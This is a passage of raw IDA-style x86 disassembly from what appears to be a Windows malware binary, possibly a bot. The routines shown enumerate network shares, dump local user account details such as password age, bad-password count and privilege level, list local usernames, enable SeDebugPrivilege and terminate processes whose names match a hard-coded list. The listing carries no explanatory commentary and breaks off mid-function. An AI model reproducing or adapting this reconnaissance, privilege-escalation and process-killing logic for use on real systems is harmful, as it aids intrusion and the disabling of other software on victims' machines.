pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2B endp
; =============== S U B R O U T I N E =======================================
sub_418C6C proc near ; CODE XREF: sub_418A99+20p
; sub_419E7A+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB520
pop esi
retn
sub_418C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418C8F(int,char *Str,int,int)
sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p
Dest = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2B
xor esi, esi
mov [ebp+var_C], eax
push esi ; int
mov [ebp+arg_C], esi
push [ebp+arg_8] ; int
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 18h
loc_418CC8: ; CODE XREF: sub_418C8F+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB598
mov ebx, eax
cmp ebx, esi
jz short loc_418D2B
cmp ebx, 0EAh
jz short loc_418D2B
push ebx
push ebx
call sub_419460
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_439788 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 24h
jmp short loc_418D98
; ---------------------------------------------------------------------------
loc_418D2B: ; CODE XREF: sub_418C8F+5Dj
; sub_418C8F+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8F
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D39: ; CODE XREF: sub_418C8F+FCj
push dword ptr [esi+10h]
call dword_4CB53C ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D50
mov eax, offset aNo ; "No"
loc_418D50: ; CODE XREF: sub_418C8F+BAj
push eax
lea eax, [ebp+Dest]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D39
xor esi, esi
loc_418D8F: ; CODE XREF: sub_418C8F+A2j
push [ebp+var_4]
call dword_4CB6E4
loc_418D98: ; CODE XREF: sub_418C8F+9Aj
cmp ebx, 0EAh
jz loc_418CC8
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418DB0(int,int,int,int,char *Str,int)
sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E55
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF2
dec eax
jz short loc_418DE7
dec eax
jnz short loc_418E0D
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_418EF7
add esp, 14h
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DE7: ; CODE XREF: sub_418DB0+1Dj
push ebx
push edi
call sub_418ED6
pop ecx
pop ecx
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DF2: ; CODE XREF: sub_418DB0+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E06
push [ebp+arg_8]
push ebx
push edi
call sub_418E7C
add esp, 0Ch
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418E06: ; CODE XREF: sub_418DB0+45j
push 57h
pop eax
loc_418E09: ; CODE XREF: sub_418DB0+35j
; sub_418DB0+40j ...
cmp eax, edi
jnz short loc_418E2D
loc_418E0D: ; CODE XREF: sub_418DB0+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4DB4D0
push off_439094[eax*4]
push offset asc_439840 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418DB0+5Bj
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4DB4D0
push off_439090[eax*4]
push offset asc_439810 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418DB0+Dj
mov eax, [ebp+arg_0]
mov esi, offset byte_4DB4D0
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset asc_4397E8 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_418E75: ; CODE XREF: sub_418DB0+7Bj
; sub_418DB0+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov edi, eax
call sub_418C2B
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2B
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB52C
pop edi
leave
retn
sub_418E7C endp
; =============== S U B R O U T I N E =======================================
sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push eax
push esi
call dword_4CB51C
pop esi
retn
sub_418ED6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418EF7(int,int,int,char *Str,int)
sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp
Dest = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CB6AC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929F
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192DA
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419016
dec eax
jz short loc_41900F
dec eax
jz short loc_419008
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419008: ; CODE XREF: sub_418EF7+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_41900F: ; CODE XREF: sub_418EF7+105j
mov eax, offset aUser_3 ; "User"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419016: ; CODE XREF: sub_418EF7+102j
mov eax, offset aGuest ; "Guest"
loc_41901B: ; CODE XREF: sub_418EF7+10Fj
; sub_418EF7+116j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409A73
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CB
; ---------------------------------------------------------------------------
loc_41929F: ; CODE XREF: sub_418EF7+35j
push eax
lea eax, [ebp+Dest]
push offset asc_439860 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_10] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_409A73
add esp, 20h
loc_4192CB: ; CODE XREF: sub_418EF7+3A6j
cmp [ebp+var_4], 0
jz short loc_4192DA
push [ebp+var_4]
call dword_4CB6E4
loc_4192DA: ; CODE XREF: sub_418EF7+40j
; sub_418EF7+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4192E0(int,char *Str,int,int)
sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp
Dest = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2B
push esi ; int
mov [ebp+var_14], eax
push [ebp+arg_8] ; int
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 18h
loc_41931F: ; CODE XREF: sub_4192E0+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB5B4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419380
cmp eax, 0EAh
jz short loc_419380
push eax
push eax
call sub_419460
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_439A50 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 24h
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_419380: ; CODE XREF: sub_4192E0+62j
; sub_4192E0+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940E
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FB
loc_419392: ; CODE XREF: sub_4192E0+EDj
cmp edi, esi
jz short loc_4193D1
push dword ptr [edi]
lea eax, [ebp+Dest]
push offset aS_4 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419392
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_4193D1: ; CODE XREF: sub_4192E0+B4j
lea eax, [ebp+Dest]
push offset asc_439A1C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 1Ch
loc_4193FB: ; CODE XREF: sub_4192E0+9Ej
; sub_4192E0+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940E
push edi
call dword_4CB6E4
xor edi, edi
mov [ebp+var_4], edi
loc_41940E: ; CODE XREF: sub_4192E0+A5j
; sub_4192E0+120j
cmp [ebp+var_C], 0EAh
jz loc_41931F
cmp edi, esi
jz short loc_419426
push edi
call dword_4CB6E4
loc_419426: ; CODE XREF: sub_4192E0+13Dj
push [ebp+var_8]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192E0 endp
; =============== S U B R O U T I N E =======================================
sub_419460 proc near ; CODE XREF: sub_418A99+41p
; sub_418C8F+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419512
jz loc_41950B
cmp eax, 7Bh
ja short loc_4194D7
jz short loc_4194CD
cmp eax, 5
jz short loc_4194C3
cmp eax, 8
jz short loc_4194B9
cmp eax, 32h
jz short loc_4194AF
cmp eax, 35h
jz short loc_4194A5
cmp eax, 57h
jnz loc_419561
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194A5: ; CODE XREF: sub_419460+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194AF: ; CODE XREF: sub_419460+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194B9: ; CODE XREF: sub_419460+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194C3: ; CODE XREF: sub_419460+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194CD: ; CODE XREF: sub_419460+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194D7: ; CODE XREF: sub_419460+1Aj
sub eax, 7Ch
jz short loc_419504
sub eax, 7C8h
jz short loc_4194FD
dec eax
jz short loc_4194F3
dec eax
jnz short loc_419561
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194F3: ; CODE XREF: sub_419460+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194FD: ; CODE XREF: sub_419460+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419504: ; CODE XREF: sub_419460+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41950B: ; CODE XREF: sub_419460+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419512: ; CODE XREF: sub_419460+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954B
jz short loc_419544
sub eax, 8ADh
jz short loc_419576
dec eax
dec eax
jz short loc_41953D
dec eax
jz short loc_419536
dec eax
dec eax
jnz short loc_419561
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419536: ; CODE XREF: sub_419460+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41953D: ; CODE XREF: sub_419460+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419544: ; CODE XREF: sub_419460+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41954B: ; CODE XREF: sub_419460+B9j
sub eax, 8CAh
jz short loc_41957D
sub eax, 17h
jz short loc_419576
sub eax, 25h
jz short loc_41956F
sub eax, 29h
jz short loc_419568
loc_419561: ; CODE XREF: sub_419460+35j
; sub_419460+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419568: ; CODE XREF: sub_419460+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41956F: ; CODE XREF: sub_419460+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419576: ; CODE XREF: sub_419460+C2j
; sub_419460+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41957D: ; CODE XREF: sub_419460+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419582: ; CODE XREF: sub_419460+40j
; sub_419460+4Aj ...
push offset byte_4DB270 ; Dest
call _sprintf
pop ecx
mov eax, offset byte_4DB270
pop ecx
retn
sub_419460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419594(char *Source)
sub_419594 proc near ; CODE XREF: sub_401ACD+4782p
Dest = word ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+Source]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+Source], esi
call ds:dword_4270C0 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi ; MaxCount
push eax ; Source
lea eax, [ebp+var_318]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Dest]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB664
test eax, eax
jnz short loc_419624
mov esi, offset byte_4DB06C
push offset asc_439D84 ; "-"
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41964D
; ---------------------------------------------------------------------------
loc_419624: ; CODE XREF: sub_419594+7Aj
lea ecx, [ebp+Dest]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_419460
pop ecx
mov esi, offset byte_4DB06C
push eax
push offset asc_439D58 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
loc_41964D: ; CODE XREF: sub_419594+8Ej
mov eax, esi
pop esi
leave
retn
sub_419594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419652 proc near ; CODE XREF: sub_416F1B+45p
; sub_416F1B+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_4270F8 ; GetCurrentProcess
push eax
call dword_4CB638 ; OpenProcessToken
test eax, eax
jnz short loc_419671
leave
retn
; ---------------------------------------------------------------------------
loc_419671: ; CODE XREF: sub_419652+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB610 ; LookupPrivilegeValueA
test eax, eax
jz short loc_4196AF
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419698
or [ebp+var_8], 2
jmp short loc_41969C
; ---------------------------------------------------------------------------
loc_419698: ; CODE XREF: sub_419652+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969C: ; CODE XREF: sub_419652+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CB6C0 ; AdjustTokenPrivileges
mov esi, eax
loc_4196AF: ; CODE XREF: sub_419652+32j
push [ebp+var_4]
call ds:dword_427068 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4196BD(int,char *Str,int,char *Str2,int,int)
sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p
; sub_4198EC+74p ...
Dest = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
Str1 = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB674, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BC
cmp dword_4CB658, ebx
jz loc_4198BC
cmp dword_4CB568, ebx
jz loc_4198BC
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB674 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AF
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB658 ; Process32First
mov esi, ds:dword_427068
test eax, eax
jz loc_4198AA
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB568 ; Process32Next
test eax, eax
jz loc_4198AA
mov edi, ds:dword_427084
mov ebx, 1F0FFFh
loc_419781: ; CODE XREF: sub_4196BD+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E8
mov [ebp+var_4], offset off_439DB0
loc_41978F: ; CODE XREF: sub_4196BD+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+Str1]
push eax
call ds:dword_427184 ; lstrcmpi
test eax, eax
jz short loc_4197B7
add [ebp+var_4], 4
cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
jb short loc_41978F
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197B7: ; CODE XREF: sub_4196BD+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_419890
push 0
push eax
call ds:dword_4270F0 ; TerminateProcess
test eax, eax
jnz loc_419890
loc_4197DE: ; CODE XREF: sub_4196BD+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197E8: ; CODE XREF: sub_4196BD+C9j
cmp [ebp+Str2], eax
jnz loc_41987B
cmp [ebp+Str], eax
jz loc_419890
push [ebp+var_128]
push 8
call dword_4CB674 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983B
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB514 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_419841
lea eax, [ebp+var_234]
jmp short loc_419847
; ---------------------------------------------------------------------------
loc_41983B: ; CODE XREF: sub_4196BD+15Cj
push [ebp+var_128]
